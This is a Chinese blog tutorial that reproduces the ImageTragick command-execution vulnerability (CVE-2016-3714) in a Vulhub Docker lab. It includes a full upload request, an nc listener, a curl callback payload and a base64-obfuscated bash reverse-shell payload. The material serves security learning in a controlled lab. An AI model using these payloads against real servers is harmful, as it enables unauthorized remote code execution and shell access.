利用Vulnhub复现漏洞 - Imagetragick 命令执行漏洞(CVE-2016–3714)
2019-07-10 14:44
2361 查看
Imagetragick 命令执行漏洞(CVE-2016–3714)
Vulnhub官方复现教程
https://github.com/vulhub/vulhub/blob/master/imagemagick/imagetragick/README.zh-cn.md
漏洞原理
详情见 https://imagetragick.com/
或https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html
复现过程
启动环境
https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为
cd /root/vulhub/imagemagick/imagetragick
搭建及运行漏洞环境:
docker-compose build && docker-compose up -d
用时:3分钟
环境启动后,访问
http://your-ip/可见有三个文件:
├── demo.php # 使用vul.jpg+identify命令测试 ├── upload.php # 支持用户进行上传,并将上传的文件传入PHP的imagick扩展,触发漏洞 └── vul.jpg # 一个简单的POC
漏洞复现
首先访问
http://your-ip/demo.php
命令并没有回显,但在docker容器中,已经成功得到
/tmp/success文件:
docker-compose exec apache cat /tmp/success
端口设置
浏览器设置
以火狐浏览器FireFox为例,在
选项→
常规→
网络设置→
设置,将
连接中
手动代理配置的
HTTP代理,填写
127.0.0.1,端口为
80
BurpSuit设置
在
Proxy下
Options的
Proxy Listeners编辑监听端口为
80
并将
Proxy下
Intercept点击成
Intercept is on
上传POC
再访问
http://your-ip/upload.php测试,上传POC文件
一些测试使用的POC:https://github.com/ImageTragick/PoCs
比如
push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/joker.jpg"|curl "your-ip:4444)' pop graphic-context
将POC代码保存为.jpg文件的POC文件
数据包如下(注意,我换了一个POC):
POST /upload.php HTTP/1.1 Host: your-ip Content-Length: 321 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 Content-Type: multipart/form-data; boundary=---------------------------293582696224464 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 Connection: close -----------------------------293582696224464 Content-Disposition: form-data; name="file_upload"; filename="CVE-2016-3714.jpg" Content-Type: image/jpeg push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/joker.jpg"|curl "【your-ip】:3333)' pop graphic-context -----------------------------293582696224464--
监听3333端口
nc -lvnp 3333
发现
your-ip:3333已经接收到http请求,【注意】修改IP,说明curl命令执行成功:
反弹shell POC
push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjM2LjEzOC84ODg5IDA+JjE | base64 -d | bash`"||id " )' pop graphic-context
【注意】echo后是经过base64编码的
/bin/bash -i >& /dev/tcp/192.168.236.138/8889 0>&1,请根据自己的IP地址更换base64编码
相关文章推荐
- 利用Vulnhub复现漏洞 - Jenkins远程命令执行漏洞(CVE-2018-1000861)
- 利用Vulnhub复现漏洞 - Jmeter RMI 反序列化命令执行漏洞(CVE-2018-1297)
- 利用Vulnhub复现漏洞 - Nexus Repository Manager 3 远程命令执行漏洞(CVE-2019-7238)
- 利用Vulnhub复现漏洞 - Nginx 文件名逻辑漏洞(CVE-2013-4547)
- 利用Vulnhub复现漏洞 - Jenkins-CI 远程代码执行漏洞(CVE-2017-1000353)
- 利用Vulnhub复现漏洞 - Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)
- 利用Vulnhub复现漏洞 - libssh 服务端权限认证绕过漏洞(CVE-2018-10933)
- 利用Vulnhub复现漏洞 - Jackson-databind 反序列化漏洞(CVE-2017-7525)
- 利用Vulnhub复现漏洞 - Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
- 利用Vulnhub复现漏洞 - mini_httpd任意文件读取漏洞(CVE-2018-18778)
- 利用Vulnhub复现漏洞 - Mysql 身份认证绕过漏洞(CVE-2012-2122)
- 体验ImageMagick 命令执行漏洞(CVE-2016–3714)的PoC
- 利用Vulnhub复现漏洞 - Nginx越界读取缓存漏洞(CVE-2017-7529)
- 利用Vulnhub复现漏洞 - JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
- 利用Vulnhub复现漏洞 - Joomla 3.7.0 (CVE-2017-8917) SQL注入漏洞环境
- 【更新WordPress 4.6漏洞利用PoC】PHPMailer曝远程代码执行高危漏洞(CVE-2016-10033)
- 利用Vulnhub复现漏洞 - Jupyter Notebook 未授权访问漏洞
- 使用Coverity 检测 ImageMagick高危命令执行 (CVE-2016-3714 )0Day漏洞
- 网站安全加固之apache环境S2-057漏洞 利用POC 远程执行命令漏洞复现
- Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现